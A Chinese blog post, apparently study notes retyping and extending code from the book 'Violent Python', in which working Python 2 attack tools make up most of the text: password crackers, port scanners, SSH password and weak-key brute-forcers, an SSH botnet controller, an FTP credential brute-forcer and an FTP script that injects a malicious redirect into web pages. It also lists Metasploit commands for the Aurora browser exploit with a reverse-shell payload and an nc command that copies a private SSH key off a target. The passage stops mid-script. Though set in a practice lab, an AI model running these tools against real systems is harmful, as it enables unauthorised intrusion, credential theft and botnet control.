这里将会把《Python绝技:运用Python成为顶级黑客》中的代码敲一遍,然后根据具体的情况修改一下代码,时间足够的话就会继续敲代码更新一下,期间肯定会有很多问题需要懂得的大牛指导一下~
为了巩固一下基础,就从头到尾地敲一遍吧~
第一章——入门
1、准备开发环境
安装第三方库:
安装Python-nmap包:
wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-On map.tar.gz
tar -xzf nmap.tar.gz
cd python-nmap-0.2.4/
python setup.py install
当然可以使用easy_install模块实现更简便的安装:easy_install python-nmap
安装其他:easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4
其他几个无法用easy_install命令安装的与蓝牙有关的库:apt-get install python-bluez bluetooth python-obexftp
Python解释与Python交互:
简单地说,Python解释是通过调用Python解释器执行py脚本,而Python交互则是通过在命令行输入python实现交互。
2、Python语言
变量
Python中的字符串、整形数、列表、布尔值以及词典。
字符串
四个方法:upper()大写输出、lower()小写输出、replace()替换、find()查找
List(列表)
append()方法向列表添加元素、index()返回元素的索引、remove()删除元素、sort()排序、len()返回列表长度
词典
keys()返回词典中所有键的列表、items()返回词典中所有项的完整信息的列表
网络
使用socket模块,connect()方法建立与指定IP和端口的网络连接;revc(1024)方法将读取套接字中接下来的1024B数据
条件选择语句
if 条件一:
语句一
elif 条件二:
语句二
else:
语句三
异常处理
try/except语句进行异常处理,可以将异常存储到变量e中以便打印出来,同时还要调用str()将e转换成一个字符串
函数
通过def()关键字定义,示例中定义扫描FTP banner信息的函数:
-
-
- import socket
-
- def retBanner(ip,port):
- try:
- socket.setdefaulttimeout(2)
- s = socket.socket()
- s.connect((ip,port))
- banner = s.recv(1024)
- return banner
- except:
- return
-
- def checkVulns(banner):
- if 'vsFTPd' in banner:
- print '[+] vsFTPd is vulnerable.'
- elif 'FreeFloat Ftp Server' in banner:
- print '[+] FreeFloat Ftp Server is vulnerable.'
- else:
- print '[-] FTP Server is not vulnerable.'
- return
-
- def main():
- ips = ['10.10.10.128','10.10.10.160']
- port = 21
- banner1 = retBanner(ips[0],port)
- if banner1:
- print '[+] ' + ips[0] + ": " + banner1.strip('\n')
- checkVulns(banner1)
- banner2 = retBanner(ips[1],port)
- if banner2:
- print '[+] ' + ips[1] + ": " + banner2.strip('\n')
- checkVulns(banner2)
-
- if __name__ == '__main__':
- main()
迭代
for语句
-
-
- import socket
-
- def retBanner(ip,port):
- try:
- socket.setdefaulttimeout(2)
- s = socket.socket()
- s.connect((ip,port))
- banner = s.recv(1024)
- return banner
- except:
- return
-
- def checkVulns(banner):
- if 'vsFTPd' in banner:
- print '[+] vsFTPd is vulnerable.'
- elif 'FreeFloat Ftp Server' in banner:
- print '[+] FreeFloat Ftp Server is vulnerable.'
- else:
- print '[-] FTP Server is not vulnerable.'
- return
-
- def main():
- portList = [21,22,25,80,110,443]
- ip = '10.10.10.128'
- for port in portList:
- banner = retBanner(ip,port)
- if banner:
- print '[+] ' + ip + ':' + str(port) + '--' + banner
- if port == 21:
- checkVulns(banner)
-
- if __name__ == '__main__':
- main()
文件输入/输出
open()打开文件,r只读,r+读写,w新建(会覆盖原有文件),a追加,b二进制文件
同一目录中:
不同目录中:
从当前目录开始往下查找,前面加上.号
或者是绝对路径则不用加.号表示从当前目录开始
sys模块
sys.argv列表中含有所有的命令行参数,sys.argv[0]为Python脚本的名称,其余的都是命令行参数
OS模块
os.path.isfile()检查该文件是否存在
os.access()判断当前用户是否有权限读取该文件
-
-
- import sys
- import os
- if len(sys.argv) == 2:
- filename = sys.argv[1]
- if not os.path.isfile(filename):
- print '[-] ' + filename + ' does not exit.'
- exit(0)
- if not os.access(filename,os.R_OK):
- print '[-] ' + filename + ' access denied.'
- exit(0)
- print '[+] Reading From: ' + filename
整合
将上述各个模块整合起来,实现对目标主机的端口及其banner信息的扫描:
-
-
- import socket
- import sys
- import os
-
- def retBanner(ip,port):
- try:
- socket.setdefaulttimeout(2)
- s = socket.socket()
- s.connect((ip,port))
- banner = s.recv(1024)
- return banner
- except:
- return
-
- def checkVulns(banner,filename):
- f = open(filename, 'r')
- for line in f.readlines():
- if line.strip('\n') in banner:
- print '[+] Server is vulnerable: ' + banner.strip('\n')
-
- def main():
-
- if len(sys.argv) == 2:
-
- filename = sys.argv[1]
- if not os.path.isfile(filename):
- print '[-] ' + filename + ' does not exit.'
- exit(0)
-
- if not os.access(filename,os.R_OK):
- print '[-] ' + filename + ' access denied.'
- exit(0)
-
- print '[+] Reading From: ' + filename
- else:
- print '[-] Usage: ' + str(sys.argv[0]) + ' '
- exit(0)
-
- portList = [21,22,25,80,110,443]
- ip = '10.10.10.128'
- for port in portList:
- banner = retBanner(ip,port)
- if banner:
- print '[+] ' + ip + ':' + str(port) + '--' + banner
- if port == 21:
- checkVulns(banner,filename)
-
- if __name__ == '__main__':
- main()
运行结果:
3、第一个Python程序
第一个程序:Unix口令破解机
这段代码通过分别读取两个文件,一个为加密口令文件,另一个为用于猜测的字典文件。在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,其中需要一个明文密码以及两个字节的盐,然后再用加密后的信息和加密口令进行比较查看是否相等即可。
先看crypt的示例:
可以看到盐是添加在密文的前两位的,所以将加密口令的前两位提取出来为salt即可。
-
-
- import crypt
-
- def testPass(cryptPass):
- salt = cryptPass[0:2]
-
- dictFile = open('dictionary.txt','r')
-
- for word in dictFile.readlines():
- word = word.strip('\n')
- cryptWord = crypt.crypt(word,salt)
- if cryptWord == cryptPass:
- print '[+] Found Password: ' + word + "\n"
- return
- print '[-] Password not Found.\n'
- return
-
- def main():
- passFile = open('passwords.txt')
- for line in passFile.readlines():
- if ":" in line:
- user = line.split(':')[0]
- cryptPass = line.split(':')[1].strip(' ')
- print '[*] Cracking Password For : ' + user
- testPass(cryptPass)
-
- if __name__ == '__main__':
- main()
运行结果:
在现代的类Unix系统中在/etc/shadow文件中存储了口令的hash,但是更多的是使用SHA-512等更安全的hash算法,如:
在Python中的hashlib库可以找到SHA-512的函数,这样就可以进一步升级脚本进行口令破解。
第二个程序:一个Zip文件口令破解机
主要使用zipfile库的extractall()方法,其中pwd参数指定密码
-
-
- import zipfile
- import optparse
- from threading import Thread
-
- def extractFile(zFile,password):
- try:
- zFile.extractall(pwd=password)
- print '[+] Fonud Password : ' + password + '\n'
- except:
- pass
-
- def main():
-
- parser = optparse.OptionParser("[*] Usage: ./unzip.py -f -d ")
- parser.add_option('-f',dest='zname',type='string',help='specify zip file')
- parser.add_option('-d',dest='dname',type='string',help='specify dictionary file')
- (options,args) = parser.parse_args()
- if (options.zname == None) | (options.dname == None):
- print parser.usage
- exit(0)
-
- zFile = zipfile.ZipFile(options.zname)
- passFile = open(options.dname)
- for line in passFile.readlines():
- line = line.strip('\n')
- t = Thread(target=extractFile,args=(zFile,line))
- t.start()
-
- if __name__ == '__main__':
- main()
代码中导入了optparse库解析命令行参数,调用OptionParser()生成一个参数解析器类的示例,parser.add_option()指定具体解析哪些命令行参数,usage输出的是参数的帮助信息;同时也采用了多线程的方式提高破解速率。
运行结果:
第二章——用Python进行渗透测试
1、编写一个端口扫描器
TCP全连接扫描、抓取应用的Banner
-
-
- import optparse
- import socket
- from socket import *
-
- def connScan(tgtHost,tgtPort):
- try:
- connSkt = socket(AF_INET,SOCK_STREAM)
- connSkt.connect((tgtHost,tgtPort))
- connSkt.send('ViolentPython\r\n')
- result = connSkt.recv(100)
- print '[+] %d/tcp open'%tgtPort
- print '[+] ' + str(result)
- connSkt.close()
- except:
- print '[-] %d/tcp closed'%tgtPort
-
- def portScan(tgtHost,tgtPorts):
- try:
- tgtIP = gethostbyname(tgtHost)
- except:
- print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
- return
-
- try:
- tgtName = gethostbyaddr(tgtIP)
- print '\n[+] Scan Results for: ' + tgtName[0]
- except:
- print '\n[+] Scan Results for: ' + tgtIP
-
- setdefaulttimeout(1)
-
- for tgtPort in tgtPorts:
- print 'Scanning port' + tgtPort
- connScan(tgtHost,int(tgtPort))
-
- def main():
- parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H -p ")
- parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
- parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
- (options,args) = parser.parse_args()
- tgtHost = options.tgtHost
- tgtPorts = str(options.tgtPort).split(',')
- if (tgtHost == None) | (tgtPorts[0] == None):
- print parser.usage
- exit(0)
- portScan(tgtHost,tgtPorts)
-
- if __name__ == '__main__':
- main()
这段代码实现了命令行参数输入,需要用户输入主机IP和扫描的端口号,其中多个端口号之间可以用,号分割开;若参数输入不为空时(注意检测端口参数列表不为空即检测至少存在第一个值不为空即可)则调用函数进行端口扫描;在portScan()函数中先尝试调用gethostbyname()来从主机名获取IP,若获取不了则解析IP失败程序结束,若成功则继续尝试调用gethostbyaddr()从IP获取主机名相关信息,若获取成功则输出列表的第一项主机名否则直接输出IP,接着遍历端口调用connScan()函数进行端口扫描;在connScan()函数中,socket方法中有两个参数AF_INET和SOCK_STREAM,分别表示使用IPv4地址和TCP流,这两个参数是默认的,在上一章的代码中没有添加但是默认是这两个参数,其余的代码和之前的差不多了。
注意一个小问题就是,设置命令行参数的时候,是已经默认添加了-h和--help参数来提示参数信息的,如果在host参数使用-h的话就会出现错误,因而要改为用大写的H即书上的“-H”即可。
运行结果:
线程扫描
将上一小节的代码修改一下,添加线程实现,同时为了让一个函数获得完整的屏幕控制权,这里使用一个信号量semaphore,它能够阻止其他线程运行而避免出现多线程同时输出造成的乱码和失序等情况。在打印输出前带调用screenLock.acquire()函数执行一个加锁操作,若信号量还没被锁定则线程有权继续运行并输出打印到屏幕上,若信号量被锁定则只能等待直到信号量被释放。
-
-
- import optparse
- import socket
- from socket import *
- from threading import *
-
-
- screenLock = Semaphore(value=1)
-
- def connScan(tgtHost,tgtPort):
- try:
- connSkt = socket(AF_INET,SOCK_STREAM)
- connSkt.connect((tgtHost,tgtPort))
- connSkt.send('ViolentPython\r\n')
- result = connSkt.recv(100)
-
-
- screenLock.acquire()
-
- print '[+] %d/tcp open'%tgtPort
- print '[+] ' + str(result)
- except:
-
- screenLock.acquire()
- print '[-] %d/tcp closed'%tgtPort
- finally:
-
- screenLock.release()
- connSkt.close()
-
- def portScan(tgtHost,tgtPorts):
- try:
- tgtIP = gethostbyname(tgtHost)
- except:
- print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
- return
-
- try:
- tgtName = gethostbyaddr(tgtIP)
- print '\n[+] Scan Results for: ' + tgtName[0]
- except:
- print '\n[+] Scan Results for: ' + tgtIP
-
- setdefaulttimeout(1)
-
- for tgtPort in tgtPorts:
- t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
- t.start()
-
- def main():
- parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H -p ")
- parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
- parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
- (options,args) = parser.parse_args()
- tgtHost = options.tgtHost
- tgtPorts = str(options.tgtPort).split(',')
- if (tgtHost == None) | (tgtPorts[0] == None):
- print parser.usage
- exit(0)
- portScan(tgtHost,tgtPorts)
-
- if __name__ == '__main__':
- main()
运行结果:
从结果可以看到,使用多线程之后端口的扫描并不是按输入的顺序进行的了,而是同时进行,但是因为有信号量实现加锁等操作所以输出的结果并没有出现乱码等情况。
使用nmap端口扫描代码
如果在前面没有下载该模块,则需要先到http://xael.org/pages/python-nmap-en.html中下载Python-Nmap
-
-
- import nmap
- import optparse
-
- def nmapScan(tgtHost,tgtPort):
-
- nmScan = nmap.PortScanner()
-
-
- nmScan.scan(tgtHost,tgtPort)
-
-
- state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
- print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state
-
- def main():
- parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H -p ")
- parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
- parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]')
- (options,args)=parser.parse_args()
- tgtHost = options.tgtHost
- tgtPorts = str(options.tgtPorts).split(',')
- if (tgtHost == None) | (tgtPorts[0] == None):
- print parser.usage
- exit(0)
- for tgtPort in tgtPorts:
- nmapScan(tgtHost,tgtPort)
-
- if __name__ == '__main__':
- main()
运行结果:
2、用Python构建一个SSH僵尸网络
用Pexpect与SSH交互
若在前面第一章的时候没有下载,则需要先下载Pexpect:https://pypi.python.org/pypi/pexpect/
Pexpect模块可以实现与程序交互、等待预期的屏幕输出并据此作出不同的响应。
先进行正常的ssh连接测试:
模仿这个流程,代码如下:
-
-
- import pexpect
-
-
- PROMPT = ['# ','>>> ','> ','\$ ']
-
- def send_command(child,cmd):
-
- child.sendline(cmd)
-
-
- child.expect(PROMPT)
-
-
- print child.before
-
- def connect(user,host,password):
-
- ssh_newkey = 'Are you sure you want to continue connecting'
- connStr = 'ssh ' + user + '@' + host
-
-
- child = pexpect.spawn(connStr)
-
-
- ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
-
-
- if ret == 0:
- print '[-] Error Connecting'
- return
-
-
- if ret == 1:
-
- child.sendline('yes')
- ret = child.expect([pexpect.TIMEOUT,'[P|p]assword: '])
-
-
- if ret == 0:
- print '[-] Error Connecting'
- return
-
-
- child.sendline(password)
- child.expect(PROMPT)
- return child
-
- def main():
- host='10.10.10.128'
- user='msfadmin'
- password='msfadmin'
- child=connect(user,host,password)
- send_command(child,'uname -a')
-
- if __name__ == '__main__':
- main()
这段代码没有进行命令行参数的输入以及没有实现命令行交互。
运行结果:
书上提到了BackTrack中的运行,也来测试一下吧:
在BT5中生成ssh-key并启动SSH服务:
sshd-generate
service ssh start
./sshScan.py
【个人修改的代码】
这段代码可以进一步改进一下,下面的是个人改进的代码,实现了参数化输入以及命令行shell交互的形式:
-
-
- import pexpect
- from optparse import OptionParser
-
-
- PROMPT = ['# ','>>> ','> ','\$ ']
-
- def send_command(child,cmd):
-
- child.sendline(cmd)
-
-
- child.expect(PROMPT)
-
-
- print child.before.split('\n')[1]
-
- def connect(user,host,password):
-
- ssh_newkey = 'Are you sure you want to continue connecting'
- connStr = 'ssh ' + user + '@' + host
-
-
- child = pexpect.spawn(connStr)
-
-
- ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
-
-
- if ret == 0:
- print '[-] Error Connecting'
- return
-
-
- if ret == 1:
-
- child.sendline('yes')
- ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
-
-
- if ret == 0:
- print '[-] Error Connecting'
- return
-
-
- child.sendline(password)
- child.expect(PROMPT)
- return child
-
- def main():
- parser = OptionParser("[*] Usage : ./sshCommand2.py -H -u -p ")
- parser.add_option('-H',dest='host',type='string',help='specify target host')
- parser.add_option('-u',dest='username',type='string',help='target username')
- parser.add_option('-p',dest='password',type='string',help='target password')
- (options,args) = parser.parse_args()
-
- if (options.host == None) | (options.username == None) | (options.password == None):
- print parser.usage
- exit(0)
-
- child=connect(options.username,options.host,options.password)
-
- while True:
- command = raw_input(' ')
- send_command(child,command)
-
- if __name__ == '__main__':
- main()
这样就可以指定目标主机进行SSH连接并实现了SSH一样的命令行交互体验了:
用Pxssh暴力破解SSH密码
pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。
prompt(self,timeout=20)方法用于匹配新提示符
使用pxssh替代上一小节的脚本:
-
-
- from pexpect import pxssh
-
- def send_command(s,cmd):
-
- s.sendline(cmd)
-
- s.prompt()
-
- print s.before
-
- def connect(host,user,password):
- try:
- s = pxssh.pxssh()
-
- s.login(host,user,password)
- return s
- except:
- print '[-] Error Connecting'
- exit(0)
-
- s = connect('10.10.10.128','msfadmin','msfadmin')
- send_command(s,'uname -a')
一开始遇到一个问题,就是直接按书上的敲import pxssh会显示出错,但是明明已经安装了这个文件,查看资料发现是pxssh是在pexpect包中的,所以将其改为from pexpect import pxssh就可以了。
运行结果:
接着继续修改代码:
-
-
- from pexpect import pxssh
- import optparse
- import time
- from threading import *
-
- maxConnections = 5
-
- connection_lock = BoundedSemaphore(value=maxConnections)
- Found = False
- Fails = 0
-
- def connect(host,user,password,release):
-
- global Found
- global Fails
-
- try:
- s = pxssh.pxssh()
-
- s.login(host,user,password)
- print '[+] Password Found: ' + password
- Found = True
- except Exception, e:
-
- if 'read_nonblocking' in str(e):
- Fails += 1
- time.sleep(5)
-
- connect(host,user,password,False)
-
- elif 'synchronize with original prompt' in str(e):
- time.sleep(1)
-
- connect(host,user,password,False)
- finally:
- if release:
-
- connection_lock.release()
-
- def main():
- parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H -u -f ')
- parser.add_option('-H',dest='host',type='string',help='specify target host')
- parser.add_option('-u',dest='username',type='string',help='target username')
- parser.add_option('-f',dest='file',type='string',help='specify password file')
- (options,args) = parser.parse_args()
-
- if (options.host == None) | (options.username == None) | (options.file == None):
- print parser.usage
- exit(0)
-
- host = options.host
- username = options.username
- file = options.file
-
- fn = open(file,'r')
- for line in fn.readlines():
-
- if Found:
- print '[*] Exiting: Password Found'
- exit(0)
-
- if Fails > 5:
- print '[!] Exiting: Too Many Socket Timeouts'
- exit(0)
-
-
- connection_lock.acquire()
-
-
- password = line.strip('\r').strip('\n')
- print '[-] Testing: ' + str(password)
-
-
- t = Thread(target=connect,args=(host,username,password,True))
- child = t.start()
-
- if __name__ =='__main__':
- main()
Semaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。
Semaphore: 在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)
BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数
运行结果:
利用SSH中的弱密钥
使用密钥登录ssh时,格式为:ssh user@host -i keyfile -o PasswordAuthentication=no
本来是要到这个网站中去下载ssh的私钥压缩包的:http://digitaloffense.net/tools/debianopenssl/
但是由于时间有点久已经没有该站点可以下载了。
为了进行测试就到靶机上将该ssh的rsa文件通过nc传过来:
Kali先开启nc监听:nc -lp 4444 > id_rsa
然后靶机Metasploitable进入ssh的dsa目录,将id_rsa文件而不是id_rsa.:
cd .ssh
nc -nv 10.10.10.160 4444 -q 1 < id_rsa
下面这段脚本主要是逐个使用指定目录中生成的密钥来尝试进行连接。
-
-
- import pexpect
- import optparse
- import os
- from threading import *
-
- maxConnections = 5
-
- connection_lock = BoundedSemaphore(value=maxConnections)
- Stop = False
- Fails = 0
-
- def connect(host,user,keyfile,release):
-
- global Stop
- global Fails
-
- try:
- perm_denied = 'Permission denied'
- ssh_newkey = 'Are you sure you want to continue'
- conn_closed = 'Connection closed by remote host'
- opt = ' -o PasswordAuthentication=no'
- connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
- child = pexpect.spawn(connStr)
- ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ])
-
- if ret == 2:
- print '[-] Adding Host to ~/.ssh/known_hosts'
- child.sendline('yes')
- connect(user, host, keyfile, False)
-
- elif ret == 3:
- print '[-] Connection Closed By Remote Host'
- Fails += 1
-
- elif ret > 3:
- print '[+] Success. ' + str(keyfile)
- Stop = True
- finally:
- if release:
-
- connection_lock.release()
-
- def main():
- parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H -u -d ')
- parser.add_option('-H',dest='host',type='string',help='specify target host')
- parser.add_option('-u',dest='username',type='string',help='target username')
- parser.add_option('-d',dest='passDir',type='string',help='specify directory with keys')
- (options,args) = parser.parse_args()
-
- if (options.host == None) | (options.username == None) | (options.passDir == None):
- print parser.usage
- exit(0)
-
- host = options.host
- username = options.username
- passDir = options.passDir
-
-
- for filename in os.listdir(passDir):
- if Stop:
- print '[*] Exiting: Key Found.'
- exit(0)
- if Fails > 5:
- print '[!] Exiting: Too Many Connections Closed By Remote Host.'
- print '[!] Adjust number of simultaneous threads.'
- exit(0)
-
- connection_lock.acquire()
-
-
- fullpath = os.path.join(passDir,filename)
- print '[-] Testing keyfile ' + str(fullpath)
- t = Thread(target=connect,args=(username,host,fullpath,True))
- child = t.start()
-
- if __name__ =='__main__':
- main()
运行结果:
构建SSH僵尸网络
-
-
- import optparse
- from pexpect import pxssh
-
-
- class Client(object):
-
- def __init__(self, host, user, password):
- self.host = host
- self.user = user
- self.password = password
- self.session = self.connect()
-
- def connect(self):
- try:
- s = pxssh.pxssh()
- s.login(self.host,self.user,self.password)
- return s
- except Exception, e:
- print e
- print '[-] Error Connecting'
-
- def send_command(self, cmd):
- self.session.sendline(cmd)
- self.session.prompt()
- return self.session.before
-
- def botnetCommand(command):
- for client in botNet:
- output = client.send_command(command)
- print '[*] Output from ' + client.host
- print '[+] ' + output + '\n'
-
- def addClient(host, user, password):
- client = Client(host,user,password)
- botNet.append(client)
-
- botNet = []
- addClient('10.10.10.128','msfadmin','msfadmin')
- addClient('10.10.10.153','root','toor')
- botnetCommand('uname -a')
- botnetCommand('whoami')
这段代码主要定义一个客户端的类实现ssh连接和发送命令,然后再定义一个botNet数组用于保存僵尸网络中的所有主机,并定义两个方法一个是添加僵尸主机的addClient()、 另一个为在僵尸主机中遍历执行命令的botnetCommand()。
运行结果:
【个人修改的代码】
接下来是本人修改的代码,先是将僵尸主机的信息都保存在一个文件中、以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,和之前修改的ssh命令行交互的形式差不多,只是每次输入一条命令所有的僵尸主机都会去执行从而返回命令结果:
botnet.txt文件:
botNet2.py:
-
-
- import optparse
- from pexpect import pxssh
- import optparse
-
- botNet=[]
-
- hosts = []
-
-
- class Client(object):
-
- def __init__(self, host, user, password):
- self.host = host
- self.user = user
- self.password = password
- self.session = self.connect()
-
- def connect(self):
- try:
- s = pxssh.pxssh()
- s.login(self.host,self.user,self.password)
- return s
- except Exception, e:
- print e
- print '[-] Error Connecting'
-
- def send_command(self, cmd):
- self.session.sendline(cmd)
- self.session.prompt()
- return self.session.before
-
- def botnetCommand(cmd, k):
- for client in botNet:
- output=client.send_command(cmd)
-
- if k:
- print '[*] Output from '+client.host
- print '[+] '+output+'\n'
-
- def addClient(host,user,password):
- if len(hosts) == 0:
- hosts.append(host)
- client=Client(host,user,password)
- botNet.append(client)
- else:
- t = True
-
- for h in hosts:
- if h == host:
- t = False
- if t:
- hosts.append(host)
- client=Client(host,user,password)
- botNet.append(client)
-
- def main():
- parser=optparse.OptionParser('Usage : ./botNet.py -f ')
- parser.add_option('-f',dest='file',type='string',help='specify botNet file')
- (options,args)=parser.parse_args()
- file = options.file
- if file==None:
- print parser.usage
- exit(0)
-
-
- count = len(open(file,'r').readlines())
-
- while True:
- cmd=raw_input(" ")
- k = 0
- f = open(file,'r')
- for line in f.readlines():
- line = line.strip('\n')
- host = line.split(':')[0]
- user = line.split(':')[1]
- password = line.split(':')[2]
-
- k += 1
-
-
- if k < count:
- addClient(host,user,password)
-
- botnetCommand(cmd,False)
- else:
- addClient(host,user,password)
-
- botnetCommand(cmd,True)
-
- if __name__ =='__main__':
- main()
这段修改的代码主要的处理问题是输出的问题,在代码注释中也说得差不多了,就这样吧。
运行结果:
用户可以将收集到的ssh僵尸主机都保存在botnet.txt文件中,这样脚本运行起来执行就会十分地方便、实现批量式的操作。
3、利用FTP与Web批量抓“肉机”
用Python构建匿名FTP扫描器
一些FTP服务器提供匿名登录的功能,因为这有助于网站访问软件更新,这种情况下,用户输入用户名“anonymous”并提交一个电子邮箱替代密码即可登录。
下面的代码主要是使用ftplib模块的FTP()、login()和quit()方法实现:
-
-
- import ftplib
-
- def anonLogin(hostname):
- try:
- ftp = ftplib.FTP(hostname)
- ftp.login('anonymous','[email protected]')
- print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
- ftp.quit()
- return True
- except Exception, e:
- print '\n[-] ' + str(h1) + ' FTP Anonymous Logon Failed.'
- return False
-
- hostname = '10.10.10.128'
- anonLogin(hostname)
运行结果:
【个人修改的代码】
稍微修改了一下,实现命令行输入交互:
-
-
- import ftplib
-
- def anonLogin(hostname):
- try:
- ftp=ftplib.FTP(hostname)
- ftp.login('anonymous','what')
- print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
- ftp.quit()
- return True
- except Exception,e:
- print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
-
- def main():
- while True:
- hostname = raw_input("Please enter the hostname: ")
- anonLogin(hostname)
- print
-
- if __name__ == '__main__':
- main()
运行结果:
使用Ftplib暴力破解FTP用户口令
同样是通过ftplib模块,结合读取含有密码的文件来实现FTP用户口令的破解:
-
-
- import ftplib
-
- def bruteLogin(hostname,passwdFile):
- pF = open(passwdFile,'r')
- for line in pF.readlines():
- username = line.split(':')[0]
- password = line.split(':')[1].strip('\r').strip('\n')
- print '[+] Trying: ' + username + '/' + password
- try:
- ftp = ftplib.FTP(hostname)
- ftp.login(username,password)
- print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
- ftp.quit()
- return (username,password)
- except Exception, e:
- pass
- print '\n[-] Could not brubrute force FTP credentials.'
- return (None,None)
-
- host = '10.10.10.128'
- passwdFile = 'ftpBL.txt'
- bruteLogin(host,passwdFile)
运行结果:
其中ftbBL.txt文件:
【个人修改的代码】
小改一下:
-
- import ftplib
-
- def bruteLogin(hostname,passwdFile):
- pF=open(passwdFile,'r')
- for line in pF.readlines():
- username=line.split(':')[0]
- password=line.split(':')[1].strip('\r').strip('\n')
- print '[+] Trying: '+username+"/"+password
- try:
- ftp=ftplib.FTP(hostname)
- ftp.login(username,password)
- print '\n[*] '+str(hostname)+' FTP Logon Succeeded: '+username+"/"+password
- return (username,password)
- except Exception,e:
- pass
- print '\n[-] Could not brute force FTP credentials.'
- return (None,None)
-
- def main():
- while True:
- h=raw_input("[*] Please enter the hostname: ")
- f=raw_input("[*] Please enter the filename: ")
- bruteLogin(h,f)
- print
-
- if __name__ == '__main__':
- main()
运行结果:
在FTP服务器上搜索网页
有了FTP服务器的登录口令之后,可以进行测试该服务器是否提供Web服务,其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名,并把找到的所有默认的网页都添加到retList数组中:
-
-
- import ftplib
-
- def returnDefault(ftp):
- try:
-
- dirList = ftp.nlst()
- except:
- dirList = []
- print '[-] Could not list directory contents.'
- print '[-] Skipping To Next Target.'
- return
-
- retList = []
- for filename in dirList:
-
- fn = filename.lower()
- if '.php' in fn or '.asp' in fn or '.htm' in fn:
- print '[+] Found default page: '+filename
- retList.append(filename)
- return retList
-
- host = '10.10.10.130'
- username = 'ftpuser'
- password = 'ftppassword'
- ftp = ftplib.FTP(host)
- ftp.login(username,password)
- returnDefault(ftp)
运行结果:
【个人修改的代码】
-
-
- import ftplib
-
- def returnDefault(ftp):
- try:
-
- dirList = ftp.nlst()
- except:
- dirList = []
- print '[-] Could not list directory contents.'
- print '[-] Skipping To Next Target.'
- return
-
- retList=[]
- for fileName in dirList:
-
- fn = fileName.lower()
- if '.php' in fn or '.htm' in fn or '.asp' in fn:
- print '[+] Found default page: ' + fileName
- retList.append(fileName)
-
- if len(retList) == 0:
- print '[-] Could not list directory contents.'
- print '[-] Skipping To Next Target.'
-
- return retList
-
- def main():
-
- while True:
- host = raw_input('[*]Host >>> ')
- username = raw_input('[*]Username >>> ')
- password = raw_input('[*]Password >>> ')
-
- try:
- ftp = ftplib.FTP(host)
- ftp.login(username,password)
- returnDefault(ftp)
- except:
- print '[-] Logon failed.'
-
- print
-
- if __name__ == '__main__':
- main()
运行结果:
在网页中加入恶意注入代码
这里主要提及利用之前的极光漏洞,先在Kali中打开Metasploit框架窗口,然后输入命令:
search ms10_002_aurora
use exploit/windows/browser/ms10_002_aurora
show payloads
set payload windows/shell/reverse_tcp
show options
set SRVHOST 10.10.10.160
set URIPATH /exploit
set LHOST 10.10.10.160
set LPORT 443
exploit
运行之后,分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点,虽然得到了连接信息但是没有得到shell,可能是因为IE浏览器的版本不存在极光漏洞吧:
过程清晰之后,就实现往目标服务器的网站文件中注入访问http://10.10.10.160:8080/exploit的代码即可,整个代码如下:
-
-
- import ftplib
-
- def injectPage(ftp,page,redirect):
- f = open(page + '.tmp','w')
-
- ftp.retrlines('RETR ' + page,f.write)
- print '[+] Downloaded Page: ' + page
- f.write(redirect)
- f.close()
- print '[+] Injected Malicious IFrame on: ' + page
-
- ftp.storlines('STOR ' + page,open(page + '.tmp'))
- print '[+] Uploaded Injected Page: ' + page
-
- host = '10.10.10.130'
- username = 'ftpuser'
- password = 'ftppassword'
- ftp = ftplib.FTP(host)
- ftp.login(username,password)
- redirect = ''
- injectPage(ftp,'index.html',redirect)
运行结果:
显示下载页面、注入恶意代码、上传都成功,到服务器查看相应的文件内容,发现注入成功了:
接下来的利用和本小节开头的一样,直接打开msf进行相应的监听即可。
【个人修改的代码】
-
-
- import ftplib
-
- def injectPage(ftp,page,redirect):
- f = open(page + '.tmp','w')
-
- ftp.retrlines('RETR ' + page,f.write)
- print '[+] Downloaded Page: ' + page
- f.write(redirect)
- f.close()
- print '[+] Injected Malicious IFrame on: ' + page
-
- ftp.storlines('STOR ' + page,open(page + '.tmp'))
- print '[+] Uploaded Injected Page: ' + page
- print
- def main():
- while True:
- host = raw_input('[*]Host >>> ')
- username = raw_input('[*]Username >>> ')
- password = raw_input('[*]Password >>> ')
- redirect = raw_input('[*]Redirect >>> ')
- print
- try:
- ftp = ftplib.FTP(host)
